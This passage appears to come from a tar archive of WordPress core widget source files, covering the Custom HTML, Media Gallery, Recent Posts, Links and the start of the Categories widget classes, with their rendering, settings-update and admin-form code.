			'description'                 => __( 'Arbitrary HTML code.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'custom_html', __( 'Custom HTML' ), $widget_ops, $control_ops );
	}

	/**
	 * Add hooks for enqueueing assets when registering all widget instances of this widget class.
	 *
	 * @since 4.9.0
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.idBases.push( %s );', wp_json_encode( $this->id_base ) ) );

		// Note that the widgets component in the customizer will also do
		// the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		// Note that the widgets component in the customizer will also do
		// the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Custom_HTML', 'render_control_template_scripts' ) );

		// Note this action is used to ensure the help text is added to the end.
		add_action( 'admin_head-widgets.php', array( 'WP_Widget_Custom_HTML', 'add_help_text' ) );
	}

	/**
	 * Filters gallery shortcode attributes.
	 *
	 * Prevents all of a site's attachments from being shown in a gallery displayed on a
	 * non-singular template where a $post context is not available.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attrs Attributes.
	 * @return array Attributes.
	 */
	public function _filter_gallery_shortcode_attrs( $attrs ) {
		if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) {
			$attrs['id'] = -1;
		}
		return $attrs;
	}

	/**
	 * Outputs the content for the current Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Custom HTML widget instance.
	 */
	public function widget( $args, $instance ) {
		global $post;

		// Override global $post so filters (and shortcodes) apply in a consistent context.
		$original_post = $post;
		if ( is_singular() ) {
			// Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post).
			$post = get_queried_object();
		} else {
			// Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries.
			$post = null;
		}

		// Prevent dumping out all attachments from the media library.
		add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		$instance = array_merge( $this->default_instance, $instance );

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		// Prepare instance data that looks like a normal Text widget.
		$simulated_text_widget_instance = array_merge(
			$instance,
			array(
				'text'   => isset( $instance['content'] ) ? $instance['content'] : '',
				'filter' => false, // Because wpautop is not applied.
				'visual' => false, // Because it wasn't created in TinyMCE.
			)
		);
		unset( $simulated_text_widget_instance['content'] ); // Was moved to 'text' prop.

		/** This filter is documented in wp-includes/widgets/class-wp-widget-text.php */
		$content = apply_filters( 'widget_text', $instance['content'], $simulated_text_widget_instance, $this );

		// Adds 'noopener' relationship, without duplicating values, to all HTML A elements that have a target.
		$content = wp_targeted_link_rel( $content );

		/**
		 * Filters the content of the Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param string                $content  The widget content.
		 * @param array                 $instance Array of settings for the current widget.
		 * @param WP_Widget_Custom_HTML $widget   Current Custom HTML widget instance.
		 */
		$content = apply_filters( 'widget_custom_html_content', $content, $instance, $this );

		// Restore post global.
		$post = $original_post;
		remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		// Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility.
		$args['before_widget'] = preg_replace( '/(?<=\sclass=["\'])/', 'widget_text ', $args['before_widget'] );

		echo $args['before_widget'];
		if ( ! empty( $title ) ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}
		echo '<div class="textwidget custom-html-widget">'; // The textwidget class is for theme styling compatibility.
		echo $content;
		echo '</div>';
		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = array_merge( $this->default_instance, $old_instance );
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['content'] = $new_instance['content'];
		} else {
			$instance['content'] = wp_kses_post( $new_instance['content'] );
		}
		return $instance;
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.9.0
	 */
	public function enqueue_admin_scripts() {
		$settings = wp_enqueue_code_editor(
			array(
				'type'       => 'text/html',
				'codemirror' => array(
					'indentUnit' => 2,
					'tabSize'    => 2,
				),
			)
		);

		wp_enqueue_script( 'custom-html-widgets' );
		if ( empty( $settings ) ) {
			$settings = array(
				'disabled' => true,
			);
		}
		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.init( %s );', wp_json_encode( $settings ) ), 'after' );

		$l10n = array(
			'errorNotice' => array(
				/* translators: %d: Error count. */
				'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ),
				/* translators: %d: Error count. */
				'plural'   => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ),
				// @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
			),
		);
		wp_add_inline_script( 'custom-html-widgets', sprintf( 'jQuery.extend( wp.customHtmlWidgets.l10n, %s );', wp_json_encode( $l10n ) ), 'after' );
	}

	/**
	 * Outputs the Custom HTML widget settings form.
	 *
	 * @since 4.8.1
	 * @since 4.9.0 The form contains only hidden sync inputs. For the control UI, see `WP_Widget_Custom_HTML::render_control_template_scripts()`.
	 *
	 * @see WP_Widget_Custom_HTML::render_control_template_scripts()
	 *
	 * @param array $instance Current instance.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, $this->default_instance );
		?>
		<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		<textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" class="content sync-input" hidden><?php echo esc_textarea( $instance['content'] ); ?></textarea>
		<?php
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.9.0
	 */
	public static function render_control_template_scripts() {
		?>
		<script type="text/html" id="tmpl-widget-custom-html-control-fields">
			<# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>

			<p>
				<label for="{{ elementIdPrefix }}content" id="{{ elementIdPrefix }}content-label"><?php esc_html_e( 'Content:' ); ?></label>
				<textarea id="{{ elementIdPrefix }}content" class="widefat code content" rows="16" cols="20"></textarea>
			</p>

			<?php if ( ! current_user_can( 'unfiltered_html' ) ) : ?>
				<?php
				$probably_unsafe_html = array( 'script', 'iframe', 'form', 'input', 'style' );
				$allowed_html         = wp_kses_allowed_html( 'post' );
				$disallowed_html      = array_diff( $probably_unsafe_html, array_keys( $allowed_html ) );
				?>
				<?php if ( ! empty( $disallowed_html ) ) : ?>
					<# if ( data.codeEditorDisabled ) { #>
						<p>
							<?php _e( 'Some HTML tags are not permitted, including:' ); ?>
							<code><?php echo implode( '</code>, <code>', $disallowed_html ); ?></code>
						</p>
					<# } #>
				<?php endif; ?>
			<?php endif; ?>

			<div class="code-editor-error-container"></div>
		</script>
		<?php
	}

	/**
	 * Add help text to widgets admin screen.
	 *
	 * @since 4.9.0
	 */
	public static function add_help_text() {
		$screen = get_current_screen();

		$content  = '<p>';
		$content .= __( 'Use the Custom HTML widget to add arbitrary HTML code to your widget areas.' );
		$content .= '</p>';

		if ( 'false' !== wp_get_current_user()->syntax_highlighting ) {
			$content .= '<p>';
			$content .= sprintf(
				/* translators: 1: Link to user profile, 2: Additional link attributes, 3: Accessibility text. */
				__( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ),
				esc_url( get_edit_profile_url() ),
				'class="external-link" target="_blank"',
				sprintf(
					'<span class="screen-reader-text"> %s</span>',
					/* translators: Accessibility text. */
					__( '(opens in a new tab)' )
				)
			);
			$content .= '</p>';

			$content .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>';
			$content .= '<ul>';
			$content .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>';
			$content .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>';
			$content .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>';
			$content .= '</ul>';
		}

		$screen->add_help_tab(
			array(
				'id'      => 'custom_html_widget',
				'title'   => __( 'Custom HTML Widget' ),
				'content' => $content,
			)
		);
	}
}
class-wp-widget-media-gallery.php000064400000016166152333503070013014 0ustar00<?php
/**
 * Widget API: WP_Widget_Media_Gallery class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.9.0
 */

/**
 * Core class that implements a gallery widget.
 *
 * @since 4.9.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Gallery extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.9.0
	 */
	public function __construct() {
		parent::__construct(
			'media_gallery',
			__( 'Gallery' ),
			array(
				'description' => __( 'Displays an image gallery.' ),
				'mime_type'   => 'image',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected' => __( 'No images selected' ),
				'add_media'         => _x( 'Add Images', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
				'replace_media'     => '',
				'edit_media'        => _x( 'Edit Gallery', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.9.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'title'          => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'sanitize_text_field',
				'description'           => __( 'Title for the widget' ),
				'should_preview_update' => false,
			),
			'ids'            => array(
				'type'              => 'array',
				'items'             => array(
					'type' => 'integer',
				),
				'default'           => array(),
				'sanitize_callback' => 'wp_parse_id_list',
			),
			'columns'        => array(
				'type'    => 'integer',
				'default' => 3,
				'minimum' => 1,
				'maximum' => 9,
			),
			'size'           => array(
				'type'    => 'string',
				'enum'    => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ),
				'default' => 'thumbnail',
			),
			'link_type'      => array(
				'type'                  => 'string',
				'enum'                  => array( 'post', 'file', 'none' ),
				'default'               => 'post',
				'media_prop'            => 'link',
				'should_preview_update' => false,
			),
			'orderby_random' => array(
				'type'                  => 'boolean',
				'default'               => false,
				'media_prop'            => '_orderbyRandom',
				'should_preview_update' => false,
			),
		);

		/** This filter is documented in wp-includes/widgets/class-wp-widget-media.php */
		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );

		return $schema;
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.9.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );

		$shortcode_atts = array_merge(
			$instance,
			array(
				'link' => $instance['link_type'],
			)
		);

		// @codeCoverageIgnoreStart
		if ( $instance['orderby_random'] ) {
			$shortcode_atts['orderby'] = 'rand';
		}

		// @codeCoverageIgnoreEnd
		echo gallery_shortcode( $shortcode_atts );
	}

	/**
	 * Loads the required media files for the media manager and scripts for media widgets.
	 *
	 * @since 4.9.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		$handle = 'media-gallery-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update', 'items' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $exported_schema )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					_.extend( wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $this->widget_options['mime_type'] ),
				wp_json_encode( $this->l10n )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.9.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts();
		?>
		<script type="text/html" id="tmpl-wp-media-widget-gallery-preview">
			<#
			var ids = _.filter( data.ids, function( id ) {
				return ( id in data.attachments );
			} );
			#>
			<# if ( ids.length ) { #>
				<ul class="gallery media-widget-gallery-preview" role="list">
					<# _.each( ids, function( id, index ) { #>
						<# var attachment = data.attachments[ id ]; #>
						<# if ( index < 6 ) { #>
							<li class="gallery-item">
								<div class="gallery-icon">
									<img alt="{{ attachment.alt }}"
										<# if ( index === 5 && data.ids.length > 6 ) { #> aria-hidden="true" <# } #>
										<# if ( attachment.sizes.thumbnail ) { #>
											src="{{ attachment.sizes.thumbnail.url }}" width="{{ attachment.sizes.thumbnail.width }}" height="{{ attachment.sizes.thumbnail.height }}"
										<# } else { #>
											src="{{ attachment.url }}"
										<# } #>
										<# if ( ! attachment.alt && attachment.filename ) { #>
											aria-label="
											<?php
											echo esc_attr(
												sprintf(
													/* translators: %s: The image file name. */
													__( 'The current image has no alternative text. The file name is: %s' ),
													'{{ attachment.filename }}'
												)
											);
											?>
											"
										<# } #>
									/>
									<# if ( index === 5 && data.ids.length > 6 ) { #>
									<div class="gallery-icon-placeholder">
										<p class="gallery-icon-placeholder-text" aria-label="
										<?php
											printf(
												/* translators: %s: The amount of additional, not visible images in the gallery widget preview. */
												__( 'Additional images added to this gallery: %s' ),
												'{{ data.ids.length - 5 }}'
											);
										?>
										">+{{ data.ids.length - 5 }}</p>
									</div>
									<# } #>
								</div>
							</li>
						<# } #>
					<# } ); #>
				</ul>
			<# } else { #>
				<div class="attachment-media-view">
					<button type="button" class="placeholder button-add-media"><?php echo esc_html( $this->l10n['add_media'] ); ?></button>
				</div>
			<# } #>
		</script>
		<?php
	}

	/**
	 * Whether the widget has content to show.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @param array $instance Widget instance props.
	 * @return bool Whether widget has content.
	 */
	protected function has_content( $instance ) {
		if ( ! empty( $instance['ids'] ) ) {
			$attachments = wp_parse_id_list( $instance['ids'] );
			foreach ( $attachments as $attachment ) {
				if ( 'attachment' !== get_post_type( $attachment ) ) {
					return false;
				}
			}
			return true;
		}
		return false;
	}
}
class-wp-widget-recent-posts.php000064400000013504152333503070012717 0ustar00<?php
/**
 * Widget API: WP_Widget_Recent_Posts class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Recent Posts widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Recent_Posts extends WP_Widget {

	/**
	 * Sets up a new Recent Posts widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_recent_entries',
			'description'                 => __( 'Your site&#8217;s most recent Posts.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'recent-posts', __( 'Recent Posts' ), $widget_ops );
		$this->alt_option_name = 'widget_recent_entries';
	}

	/**
	 * Outputs the content for the current Recent Posts widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Recent Posts widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( ! isset( $args['widget_id'] ) ) {
			$args['widget_id'] = $this->id;
		}

		$default_title = __( 'Recent Posts' );
		$title         = ( ! empty( $instance['title'] ) ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
		if ( ! $number ) {
			$number = 5;
		}
		$show_date = isset( $instance['show_date'] ) ? $instance['show_date'] : false;

		$r = new WP_Query(
			/**
			 * Filters the arguments for the Recent Posts widget.
			 *
			 * @since 3.4.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see WP_Query::get_posts()
			 *
			 * @param array $args     An array of arguments used to retrieve the recent posts.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_posts_args',
				array(
					'posts_per_page'      => $number,
					'no_found_rows'       => true,
					'post_status'         => 'publish',
					'ignore_sticky_posts' => true,
				),
				$instance
			)
		);

		if ( ! $r->have_posts() ) {
			return;
		}
		?>

		<?php echo $args['before_widget']; ?>

		<?php
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
		}
		?>

		<ul>
			<?php foreach ( $r->posts as $recent_post ) : ?>
				<?php
				$post_title   = get_the_title( $recent_post->ID );
				$title        = ( ! empty( $post_title ) ) ? $post_title : __( '(no title)' );
				$aria_current = '';

				if ( get_queried_object_id() === $recent_post->ID ) {
					$aria_current = ' aria-current="page"';
				}
				?>
				<li>
					<a href="<?php the_permalink( $recent_post->ID ); ?>"<?php echo $aria_current; ?>><?php echo $title; ?></a>
					<?php if ( $show_date ) : ?>
						<span class="post-date"><?php echo get_the_date( '', $recent_post->ID ); ?></span>
					<?php endif; ?>
				</li>
			<?php endforeach; ?>
		</ul>

		<?php
		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating the settings for the current Recent Posts widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance              = $old_instance;
		$instance['title']     = sanitize_text_field( $new_instance['title'] );
		$instance['number']    = (int) $new_instance['number'];
		$instance['show_date'] = isset( $new_instance['show_date'] ) ? (bool) $new_instance['show_date'] : false;
		return $instance;
	}

	/**
	 * Outputs the settings form for the Recent Posts widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$title     = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';
		$number    = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
		$show_date = isset( $instance['show_date'] ) ? (bool) $instance['show_date'] : false;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" />
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of posts to show:' ); ?></label>
			<input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" />
		</p>

		<p>
			<input class="checkbox" type="checkbox"<?php checked( $show_date ); ?> id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php _e( 'Display post date?' ); ?></label>
		</p>
		<?php
	}
}
class-wp-widget-links.php000064400000016173152333503070011416 0ustar00<?php
/**
 * Widget API: WP_Widget_Links class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Links widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Links extends WP_Widget {

	/**
	 * Sets up a new Links widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'Your blogroll' ),
			'customize_selective_refresh' => true,
		);
		parent::__construct( 'links', __( 'Links' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Links widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Links widget instance.
	 */
	public function widget( $args, $instance ) {
		$show_description = isset( $instance['description'] ) ? $instance['description'] : false;
		$show_name        = isset( $instance['name'] ) ? $instance['name'] : false;
		$show_rating      = isset( $instance['rating'] ) ? $instance['rating'] : false;
		$show_images      = isset( $instance['images'] ) ? $instance['images'] : true;
		$category         = isset( $instance['category'] ) ? $instance['category'] : false;
		$orderby          = isset( $instance['orderby'] ) ? $instance['orderby'] : 'name';
		$order            = 'rating' === $orderby ? 'DESC' : 'ASC';
		$limit            = isset( $instance['limit'] ) ? $instance['limit'] : -1;

		$before_widget = preg_replace( '/id="[^"]*"/', 'id="%id"', $args['before_widget'] );

		$widget_links_args = array(
			'title_before'     => $args['before_title'],
			'title_after'      => $args['after_title'],
			'category_before'  => $before_widget,
			'category_after'   => $args['after_widget'],
			'show_images'      => $show_images,
			'show_description' => $show_description,
			'show_name'        => $show_name,
			'show_rating'      => $show_rating,
			'category'         => $category,
			'class'            => 'linkcat widget',
			'orderby'          => $orderby,
			'order'            => $order,
			'limit'            => $limit,
		);

		/**
		 * Filters the arguments for the Links widget.
		 *
		 * @since 2.6.0
		 * @since 4.4.0 Added the `$instance` parameter.
		 *
		 * @see wp_list_bookmarks()
		 *
		 * @param array $widget_links_args An array of arguments to retrieve the links list.
		 * @param array $instance          The settings for the particular instance of the widget.
		 */
		wp_list_bookmarks( apply_filters( 'widget_links_args', $widget_links_args, $instance ) );
	}

	/**
	 * Handles updating settings for the current Links widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$new_instance = (array) $new_instance;
		$instance     = array(
			'images'      => 0,
			'name'        => 0,
			'description' => 0,
			'rating'      => 0,
		);
		foreach ( $instance as $field => $val ) {
			if ( isset( $new_instance[ $field ] ) ) {
				$instance[ $field ] = 1;
			}
		}

		$instance['orderby'] = 'name';
		if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ), true ) ) {
			$instance['orderby'] = $new_instance['orderby'];
		}

		$instance['category'] = (int) $new_instance['category'];
		$instance['limit']    = ! empty( $new_instance['limit'] ) ? (int) $new_instance['limit'] : -1;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Links widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {

		// Defaults.
		$instance  = wp_parse_args(
			(array) $instance,
			array(
				'images'      => true,
				'name'        => true,
				'description' => false,
				'rating'      => false,
				'category'    => false,
				'orderby'     => 'name',
				'limit'       => -1,
			)
		);
		$link_cats = get_terms( array( 'taxonomy' => 'link_category' ) );
		$limit     = (int) $instance['limit'];
		if ( ! $limit ) {
			$limit = -1;
		}
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'category' ); ?>"><?php _e( 'Select Link Category:' ); ?></label>
			<select class="widefat" id="<?php echo $this->get_field_id( 'category' ); ?>" name="<?php echo $this->get_field_name( 'category' ); ?>">
				<option value=""><?php _ex( 'All Links', 'links widget' ); ?></option>
				<?php foreach ( $link_cats as $link_cat ) : ?>
					<option value="<?php echo (int) $link_cat->term_id; ?>" <?php selected( $instance['category'], $link_cat->term_id ); ?>>
						<?php echo esc_html( $link_cat->name ); ?>
					</option>
				<?php endforeach; ?>
			</select>
			<label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><?php _e( 'Sort by:' ); ?></label>
			<select name="<?php echo $this->get_field_name( 'orderby' ); ?>" id="<?php echo $this->get_field_id( 'orderby' ); ?>" class="widefat">
				<option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option>
				<option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option>
				<option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option>
				<option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option>
			</select>
		</p>

		<p>
			<input class="checkbox" type="checkbox"<?php checked( $instance['images'], true ); ?> id="<?php echo $this->get_field_id( 'images' ); ?>" name="<?php echo $this->get_field_name( 'images' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'images' ); ?>"><?php _e( 'Show Link Image' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['name'], true ); ?> id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e( 'Show Link Name' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['description'], true ); ?> id="<?php echo $this->get_field_id( 'description' ); ?>" name="<?php echo $this->get_field_name( 'description' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Show Link Description' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['rating'], true ); ?> id="<?php echo $this->get_field_id( 'rating' ); ?>" name="<?php echo $this->get_field_name( 'rating' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'rating' ); ?>"><?php _e( 'Show Link Rating' ); ?></label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'limit' ); ?>"><?php _e( 'Number of links to show:' ); ?></label>
			<input id="<?php echo $this->get_field_id( 'limit' ); ?>" name="<?php echo $this->get_field_name( 'limit' ); ?>" type="text" value="<?php echo ( -1 !== $limit ) ? (int) $limit : ''; ?>" size="3" />
		</p>
		<?php
	}
}
class-wp-widget-categories.php000064400000015630152333503070012420 0ustar00<?php
/**
 * Widget API: WP_Widget_Categories class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Categories widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Categories extends WP_Widget {

	/**
	 * Sets up a new Categories widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_categories',
			'description'                 => __( 'A list or dropdown of categories.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'categories', __( 'Categories' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Categories widget instance.
	 *
	 * @since 2.8.0
	 * @since 4.2.0 Creates a unique HTML ID for the `<select>` element
	 *              if more than one instance is displayed on the page.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Categories widget instance.
	 */
	public function widget( $args, $instance ) {
		static $first_dropdown = true;

		$default_title = __( 'Categories' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$count        = ! empty( $instance['count'] ) ? '1' : '0';
		$hierarchical = ! empty( $instance['hierarchical'] ) ? '1' : '0';
		$dropdown     = ! empty( $instance['dropdown'] ) ? '1' : '0';

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$cat_args = array(
			'orderby'      => 'name',
			'show_count'   => $count,
			'hierarchical' => $hierarchical,
		);

		if ( $dropdown ) {
			printf( '<form action="%s" method="get">', esc_url( home_url() ) );
			$dropdown_id    = ( $first_dropdown ) ? 'cat' : "{$this->id_base}-dropdown-{$this->number}";
			$first_dropdown = false;

			echo '<label class="screen-reader-text" for="' . esc_attr( $dropdown_id ) . '">' . $title . '</label>';

			$cat_args['show_option_none'] = __( 'Select Category' );
			$cat_args['id']               = $dropdown_id;

			/**
			 * Filters the arguments for the Categories widget drop-down.
			 *
